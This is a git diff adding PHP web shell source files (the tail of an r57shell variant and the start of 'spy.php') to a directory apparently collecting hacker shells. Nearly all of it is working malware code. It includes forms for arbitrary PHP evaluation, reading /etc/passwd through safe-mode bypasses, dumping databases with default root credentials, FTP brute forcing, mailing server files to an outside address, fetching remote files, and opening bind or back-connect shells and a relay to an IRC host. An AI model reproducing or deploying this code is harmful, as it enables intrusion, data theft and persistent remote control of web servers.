+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'
'.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
+echo sr(15,"
".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.'
'.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text302'].$arrow." ",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
+echo sr(15,"".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".ws(2)."".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode){
+$aliases2 = '';
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+if(!$safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
+echo "".div('id9')."";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo " ".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "
";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$unix&&function_exists('mb_send_mail')){
+echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_list')){
+echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_body')){
+echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
+echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
+echo sr(15,"".$lang[$language.'_text117'].$arrow." ",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "";
+echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode&&$unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
+echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
+echo sr(15,"".$lang[$language.'_text59'].$arrow." ",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
+$arh = $lang[$language.'_text92'];
+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
+echo sr(15,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo $te.''.$table_end1.$fe;
+if(@function_exists("ftp_connect")){
+echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text87']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text100']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te." ".$fe."
";
+}
+if($unix && @function_exists("ftp_connect")){
+echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
+echo sr(15,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
+echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
+echo $te.''.$table_end1.$fe;
+}
+if(@function_exists("mail")){
+echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text103']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
+echo sr(25,"".$lang[$language.'_text108'].$arrow." ",''.(!empty($_POST['text'])?($_POST['text']):("mail text here")).' ');
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text104']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe."
";
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+$select = '';
+if($mysql_on) $select .= 'MySQL ';
+if($mssql_on) $select .= 'MSSQL ';
+if($pg_on) $select .= 'PostgreSQL ';
+if($ora_on) $select .= 'Oracle ';
+$select .= ' ';
+echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' . '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(35,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe."
";
+}
+if(!$safe_mode&&$unix){
+echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts." ".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+echo '
'.$table_up3."
".$f;
+
+
+$u1p=""; // File to Include... or use _GET _POST
+$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
+
+
+
+echo "\n";
+if(empty($snn)){
+if(empty($_GET['snn'])){
+if(empty($_POST['snn'])){
+die("\nSnIpEr_SA");
+} else {
+$u1p=$_POST['snn'];
+}
+} else {
+$u1p=$_GET['snn'];
+}
+}
+
+$temp=tempnam($tymczas, "cx");
+
+if(copy("compress.zlib://".$snn, $temp)){
+$zrodlo = fopen($temp, "r");
+$tekst = fread($zrodlo, filesize($temp));
+fclose($zrodlo);
+echo "".htmlspecialchars($tekst)."";
+unlink($temp);
+
+} else {
+die("
+".htmlspecialchars($u1p)." ÚÝæÇ! ÇáãáÝ ÛíÑ ãæÌæÏ Çæ áíÓ áÏíß ÇáÕáÇÍíå ááÏÎæá. ");
+}
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/spy.php.php.txt b/xakep-shells/PHP/spy.php.php.txt
new file mode 100644
index 0000000..a5b232c
--- /dev/null
+++ b/xakep-shells/PHP/spy.php.php.txt
@@ -0,0 +1,1889 @@
+$v)
+ {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_SERVER as $k=>$v)
+ {
+ $_SERVER[$k] = stripslashes($v);
+ }
+ }
+
+/* ~~~ ÐÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ ~~~ */
+
+// $auth = 1; - ÐÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð°
+// $auth = 0; - ÐÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð²Ñ‹ÐºÐ»ÑŽÑ‡ÐµÐ½Ð°
+$auth = 0;
+
+// Логин и пароль Ð´Ð»Ñ Ð´Ð¾Ñтупа к Ñкрипту
+// ÐЕ ЗÐБУДЬТЕ СМЕÐИТЬ ПЕРЕД Ð ÐЗМЕЩЕÐИЕМ ÐРСЕРВЕРЕ!!!
+$name='teufel'; // логин пользователÑ
+$pass='spyms'; // пароль пользователÑ
+
+if($auth == 1) {
+if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
+ {
+ header('WWW-Authenticate: Basic realm="shell"');
+ header('HTTP/1.0 401 Unauthorized');
+ exit("www.spygrup.org : Access Denied ");
+ }
+}
+$head = '
+
+
+shell
+
+
+';
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+if ($_POST['cmd']=="db_query")
+ {
+ echo $head;
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mysql_query($query,$db);
+ $error = @mysql_error($db);
+ if($error) { echo " "; }
+ else {
+ if (@mysql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mysql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @mysql_affected_rows($db))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @mysql_free_result($res);
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "Can't connect to MySQL server
";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mssql_query($query,$db);
+ if (@mssql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mssql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "affected rows : ".$rows."
"; } else { echo " "; }} */
+ @mssql_free_result($res);
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "Can't connect to MSSQL server
";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @pg_query($db,$query);
+ $error = @pg_errormessage($db);
+ if($error) { echo " "; }
+ else {
+ if (@pg_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @pg_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @pg_affected_rows($res))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @pg_free_result($res);
+ }
+ }
+ @pg_close($db);
+ }
+ else echo "Can't connect to PostgreSQL server
";
+ break;
+ case 'Oracle':
+ $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
+ if(($error = @ocierror())) { echo "Can't connect to Oracle server. ".$error['message']."
"; }
+ else
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5) {
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $stat = @ociparse($db, $query);
+ @ociexecute($stat);
+ if(($error = @ocierror())) { echo "Error : ".$error['message']."
"; }
+ else
+ {
+ $rowcount = @ocirowcount($stat);
+ if($rowcount != 0) {echo "affected rows : ".$rowcount."
";}
+ else {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ocicolumnname($stat, $j))." "; }
+ echo " ";
+ while(ocifetch($stat))
+ {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ociresult($stat, $j))." "; }
+ echo " ";
+ }
+ echo "
";
+ }
+ @ocifreestatement($stat);
+ }
+ }
+ }
+ @ocilogoff($db);
+ }
+ break;
+ }
+ echo "";
+ echo in('hidden','db',0,$_POST['db']);
+ echo in('hidden','db_port',0,$_POST['db_port']);
+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);
+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);
+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);
+ echo in('hidden','cmd',0,'db_query');
+ echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."
";
+ echo " ";
+ echo " "; die();
+ }
+if(isset($_GET['delete']))
+ {
+ @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
+ }
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+if(isset($_GET['phpini']))
+{
+echo $head;
